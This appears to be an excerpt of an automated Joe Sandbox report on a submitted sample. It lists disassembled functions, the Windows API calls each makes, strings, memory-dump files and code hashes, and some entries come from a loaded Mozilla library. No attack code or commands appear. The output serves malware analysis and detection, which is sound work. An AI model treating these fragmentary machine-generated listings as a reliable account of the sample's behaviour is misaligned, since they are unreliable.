Uniqueness Score: -1.00%

Function 004094A0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00404BAE,00000000,00000000), ref: 004094CF
LocalAlloc.KERNEL32(00000040,?,?,?,00404BAE,00000000,?), ref: 004094E1
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00404BAE,00000000,00000000), ref: 0040950A
LocalFree.KERNEL32(?,?,?,?,00404BAE,00000000,?), ref: 0040951F

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: eb8266b658b0a36e64dba83ee5fc04eec02a97dd996390432438c79c58cdc735
Instruction ID: 8ba321113e6e4d0cf3898c04bf9160a1f44f8cb9f34d86efd4b3c4bff5612467
Opcode Fuzzy Hash: eb8266b658b0a36e64dba83ee5fc04eec02a97dd996390432438c79c58cdc735
Instruction Fuzzy Hash: AA119074240308AFEB14CF64CC95FAA77B6FB89711F208059FA159B3D0C7B5AA41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00414450 Relevance: 6.0, APIs: 4, Instructions: 34memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,0041D748,00000000,?,00000000,0041D2B1), ref: 0041445D
HeapAlloc.KERNEL32(00000000), ref: 00414464
GetLocalTime.KERNEL32(?), ref: 00414471
wsprintfA.USER32 ref: 004144A0

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: ecd3a08835dc28e24e172d3ec6c3ea9534f2ed94b9f2de78f98134f4a4fefc06
Instruction ID: 4df586b6dc15b0ab72eaa90ec8b013cc5aca6a98c8dd6c86bd1e3c66c74c2495
Opcode Fuzzy Hash: ecd3a08835dc28e24e172d3ec6c3ea9534f2ed94b9f2de78f98134f4a4fefc06
Instruction Fuzzy Hash: 1FF06DB6804618ABCB20DBD9DD48DBFB3FDBF4CB02F000549FA46A2180E6384A41D7B1

Uniqueness

Uniqueness Score: -1.00%

Function 6C926CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C926D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C926E1E

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 46025fb4facb742523361c9e1a24d99a76ba2d092616084efd76d43417d692c0
Instruction ID: 953945ce3dbbb5d1749e1dd343ae97ec9fa9963f5d4bdcfeae1f042912fd35b2
Opcode Fuzzy Hash: 46025fb4facb742523361c9e1a24d99a76ba2d092616084efd76d43417d692c0
Instruction Fuzzy Hash: 69A18E706183848FDB25CF24C4847AEFBE6BF98308F54491DE48A87B51DB74E859CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6C9485F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C948C7C
__aulldiv.LIBCMT ref: 6C948DD7

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: fb83d14e540e7631a6a652b300654dc28cd1b676b195af9f3df61b6c4421a50e
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: E2325B31F0111A8BDB1CCE9CC8A17BEB7B6FB88700F15852AD506FB790DA349D458B95

Uniqueness

Uniqueness Score: -1.00%

Function 6C925C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C8F4A63,?,?), ref: 6C925F06

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: efdd77f3444563c9797de0688bede8dc90d33397ee3ff8756b3ab84213530908
Instruction ID: e34580d2c464103596873a3a4b95d520decf971773ea99126d5d81c47b9d2c99
Opcode Fuzzy Hash: efdd77f3444563c9797de0688bede8dc90d33397ee3ff8756b3ab84213530908
Instruction Fuzzy Hash: E5C1D275D112099BCB14CF65C1906EEBBF6FF89318F28815DD8956BB48D736E806CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00419DC7 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00019D85), ref: 00419DCC

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 070a293f5fd72a4302476959d8ba9f25930c1a77546e2223ef40415f4a224816
Instruction ID: a2f7eb20247afb77339b0084df5ee2fab041c51b9664aeb6610f0aa757957e44
Opcode Fuzzy Hash: 070a293f5fd72a4302476959d8ba9f25930c1a77546e2223ef40415f4a224816
Instruction Fuzzy Hash: 0290027069124446460057B06C1D6966A95AA8C60679144E5E125C405DEB644448555D

Uniqueness

Uniqueness Score: -1.00%

Function 6C9576E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 7e7174b6d7988ad7d4821e932c8bf25fcb92da08ca1377e84aa133c6aa070fd6
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 94321971E1061A8FCB14CF98C890AADFBF6FF88304F5481A9C549A7745D731AA96CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6C910512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 0f6d3449e5e2a62903f9107e944e4a02644295e13e90309d1995c4fd9a7784bd
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 2A221671E04669CFDB14CF98C891AADF7B2FF89304F548699C44AA7B05D731A986CF80

Uniqueness

Uniqueness Score: -1.00%

Function 6C95AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6557256841ad6136f33e64929e54d43e2f8a19e6dc30faa782bda40bb4196df
Instruction ID: e7387942609c02d6c3499cd4cf78e323f5c9e5028d3365c5d1e90f2db566d976
Opcode Fuzzy Hash: f6557256841ad6136f33e64929e54d43e2f8a19e6dc30faa782bda40bb4196df
Instruction Fuzzy Hash: 42F17C716083458FD700CF28C8903BAB7E6AFC5318F948A1DE8D5877C1EB75D86887A6

Uniqueness

Uniqueness Score: -1.00%

Function 00415DC0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Uniqueness

Uniqueness Score: -1.00%

Function 0041952A Relevance: 129.2, APIs: 86, Instructions: 188COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0041953E

Part of subcall function 00417247: HeapFree.KERNEL32(00000000,00000000,?,00417158,00000000,00421AC0,0041719F,?,?,?,0041720F,00421AC0,?,?,00419FD3,00421AC0), ref: 0041725D
Part of subcall function 00417247: GetLastError.KERNEL32(?,?,00417158,00000000,00421AC0,0041719F,?,?,?,0041720F,00421AC0,?,?,00419FD3,00421AC0), ref: 0041726F

_free.LIBCMT ref: 00419546
_free.LIBCMT ref: 0041954E
_free.LIBCMT ref: 00419556
_free.LIBCMT ref: 0041955E
_free.LIBCMT ref: 00419566
_free.LIBCMT ref: 0041956D
_free.LIBCMT ref: 00419575
_free.LIBCMT ref: 0041957D
_free.LIBCMT ref: 00419585
_free.LIBCMT ref: 0041958D
_free.LIBCMT ref: 00419595
_free.LIBCMT ref: 0041959D
_free.LIBCMT ref: 004195A5
_free.LIBCMT ref: 004195AD
_free.LIBCMT ref: 004195B5
_free.LIBCMT ref: 004195C0
_free.LIBCMT ref: 004195C8
_free.LIBCMT ref: 004195D0
_free.LIBCMT ref: 004195D8
_free.LIBCMT ref: 004195E0
_free.LIBCMT ref: 004195E8
_free.LIBCMT ref: 004195F0
_free.LIBCMT ref: 004195F8
_free.LIBCMT ref: 00419600
_free.LIBCMT ref: 00419608
_free.LIBCMT ref: 00419610
_free.LIBCMT ref: 00419618
_free.LIBCMT ref: 00419620
_free.LIBCMT ref: 00419628
_free.LIBCMT ref: 00419630
_free.LIBCMT ref: 00419638
_free.LIBCMT ref: 00419646
_free.LIBCMT ref: 00419651
_free.LIBCMT ref: 0041965C
_free.LIBCMT ref: 00419667
_free.LIBCMT ref: 00419672
_free.LIBCMT ref: 0041967D
_free.LIBCMT ref: 00419688
_free.LIBCMT ref: 00419693
_free.LIBCMT ref: 0041969E
_free.LIBCMT ref: 004196A9
_free.LIBCMT ref: 004196B4
_free.LIBCMT ref: 004196BF
_free.LIBCMT ref: 004196CA
_free.LIBCMT ref: 004196D5
_free.LIBCMT ref: 004196E0
_free.LIBCMT ref: 004196EB
_free.LIBCMT ref: 004196F9
_free.LIBCMT ref: 00419704
_free.LIBCMT ref: 0041970F
_free.LIBCMT ref: 0041971A
_free.LIBCMT ref: 00419725
_free.LIBCMT ref: 00419730
_free.LIBCMT ref: 0041973B
_free.LIBCMT ref: 00419746
_free.LIBCMT ref: 00419751
_free.LIBCMT ref: 0041975C
_free.LIBCMT ref: 00419767
_free.LIBCMT ref: 00419772
_free.LIBCMT ref: 0041977D
_free.LIBCMT ref: 00419788
_free.LIBCMT ref: 00419793
_free.LIBCMT ref: 0041979E
_free.LIBCMT ref: 004197AC
_free.LIBCMT ref: 004197B7
_free.LIBCMT ref: 004197C2
_free.LIBCMT ref: 004197CD
_free.LIBCMT ref: 004197D8
_free.LIBCMT ref: 004197E3
_free.LIBCMT ref: 004197EE
_free.LIBCMT ref: 004197F9
_free.LIBCMT ref: 00419804
_free.LIBCMT ref: 0041980F
_free.LIBCMT ref: 0041981A
_free.LIBCMT ref: 00419825
_free.LIBCMT ref: 00419830
_free.LIBCMT ref: 0041983B
_free.LIBCMT ref: 00419846
_free.LIBCMT ref: 00419851
_free.LIBCMT ref: 0041985F
_free.LIBCMT ref: 0041986A
_free.LIBCMT ref: 00419875
_free.LIBCMT ref: 00419880
_free.LIBCMT ref: 0041988B
_free.LIBCMT ref: 00419896

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 55745e4d8ffa3bcd4bae6bd50e23aa08e34946fc70669168e917a1c48e4fa5ed
Instruction ID: 5df7b21d12798ad2dd02b2714939a7e9e3589bb161cd2ca89e36415dbd51ea28
Opcode Fuzzy Hash: 55745e4d8ffa3bcd4bae6bd50e23aa08e34946fc70669168e917a1c48e4fa5ed
Instruction Fuzzy Hash: AE71E331494B009BD7633B32DD03ADA7AB27F04304F10596EB1FB20632DA3678E79A59

Uniqueness

Uniqueness Score: -1.00%

Function 6C9455F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C91E1A5), ref: 6C945606
LoadLibraryW.KERNEL32(gdi32,?,6C91E1A5), ref: 6C94560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C945633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C94563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C94566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C94567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C945696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C9456B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C9456CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C9456E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C9456FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C945716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C94572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C945748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C945761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C94577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C945793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C9457A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C9457BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C9457D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C9457EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C9457FF

Strings

StretchDIBits, xrefs: 6C9457CC
GetWindowDC, xrefs: 6C945710
CreateSolidBrush, xrefs: 6C9457E4
SetWindowPos, xrefs: 6C9456F7
CreateWindowExW, xrefs: 6C9456C5
GetDpiForWindow, xrefs: 6C945690
MonitorFromWindow, xrefs: 6C94578D
DeleteObject, xrefs: 6C9457F9
SetWindowLongPtrW, xrefs: 6C9457B7
gdi32, xrefs: 6C94560A
LoadIconW, xrefs: 6C94575B
ReleaseDC, xrefs: 6C945742
user32, xrefs: 6C945601
GetThreadDpiAwarenessContext, xrefs: 6C94562D
GetSystemMetricsForDpi, xrefs: 6C945677
AreDpiAwarenessContextsEqual, xrefs: 6C945637
LoadCursorW, xrefs: 6C945774
RegisterClassW, xrefs: 6C9456AC
EnableNonClientDpiScaling, xrefs: 6C945666
GetMonitorInfoW, xrefs: 6C9457A2
FillRect, xrefs: 6C945729
ShowWindow, xrefs: 6C9456DE

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 08f4aeb319f046c225126735ea28ddc6eb6ebc53055c3363dc995abafab01f5d
Instruction ID: 934edad29a4b2741f7a64e1ed6648ac241f242a7b239ca4f6c7d2113eb9db86e
Opcode Fuzzy Hash: 08f4aeb319f046c225126735ea28ddc6eb6ebc53055c3363dc995abafab01f5d
Instruction Fuzzy Hash: 1F5111746197129BFB019F778E54A363ABCAB46259730946EB921E2BD1FF74CC008F60

Uniqueness

Uniqueness Score: -1.00%

Function 6C92CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C8F582D), ref: 6C92CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C8F582D), ref: 6C92CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C95FE98,?,?,?,?,?,6C8F582D), ref: 6C92CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C8F582D), ref: 6C92CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C8F582D), ref: 6C92CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C8F582D), ref: 6C92CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C8F582D), ref: 6C92CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C92CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C92CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C92CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C92CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C92CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C92CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C92CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C92CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C92CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C92CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C92CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C92CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C92CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C92CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C92CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C92CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C92CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C92CE8A

Strings

power, xrefs: 6C92CE84
jsallocations, xrefs: 6C92CD0E
nostacksampling, xrefs: 6C92CD7C
mainthreadio, xrefs: 6C92CC7C
fileioall, xrefs: 6C92CCA8
cpuallthreads, xrefs: 6C92CE16
processcpu, xrefs: 6C92CE6E
unregisteredthreads, xrefs: 6C92CE58
notimerresolutionchange, xrefs: 6C92CE00
audiocallbacktracing, xrefs: 6C92CDD4
samplingallthreads, xrefs: 6C92CE2C
default, xrefs: 6C92CC21
preferencereads, xrefs: 6C92CD92
markersallthreads, xrefs: 6C92CE42
noiostacks, xrefs: 6C92CCBE
stackwalk, xrefs: 6C92CCF8
ipcmessages, xrefs: 6C92CDBE
seqstyle, xrefs: 6C92CCE6
nativeallocations, xrefs: 6C92CDA8
Unrecognized feature "%s"., xrefs: 6C92CEA0
java, xrefs: 6C92CC37
screenshots, xrefs: 6C92CCD4
leaf, xrefs: 6C92CC66
fileio, xrefs: 6C92CC92

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 79083c5f9aaa38a5363a62004f4188f01d7a3099fb29bc79221864e5d570f201
Instruction ID: 5db5ff1a953f4cf84a72635d5efe5c1218a68852056d174de2be563109e08651
Opcode Fuzzy Hash: 79083c5f9aaa38a5363a62004f4188f01d7a3099fb29bc79221864e5d570f201
Instruction Fuzzy Hash: BC51DBC1A6522A12FF0071156D10BAA144CEFB724AF50043AED89A1FC9FF1DE629C7B7

Uniqueness

Uniqueness Score: -1.00%

Function 6C8F4470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C8F4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C8F44B2,6C96E21C,6C96F7F8), ref: 6C8F473E
Part of subcall function 6C8F4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C8F474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C8F44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C8F44D2
InitOnceExecuteOnce.KERNEL32(6C96F80C,6C8EF240,?,?), ref: 6C8F451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C8F455C
LoadLibraryW.KERNEL32(?), ref: 6C8F4592
InitializeCriticalSection.KERNEL32(6C96F770), ref: 6C8F45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C8F45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C8F45BB
InitOnceExecuteOnce.KERNEL32(6C96F818,6C8EF240,?,?), ref: 6C8F4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C8F4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C8F4644
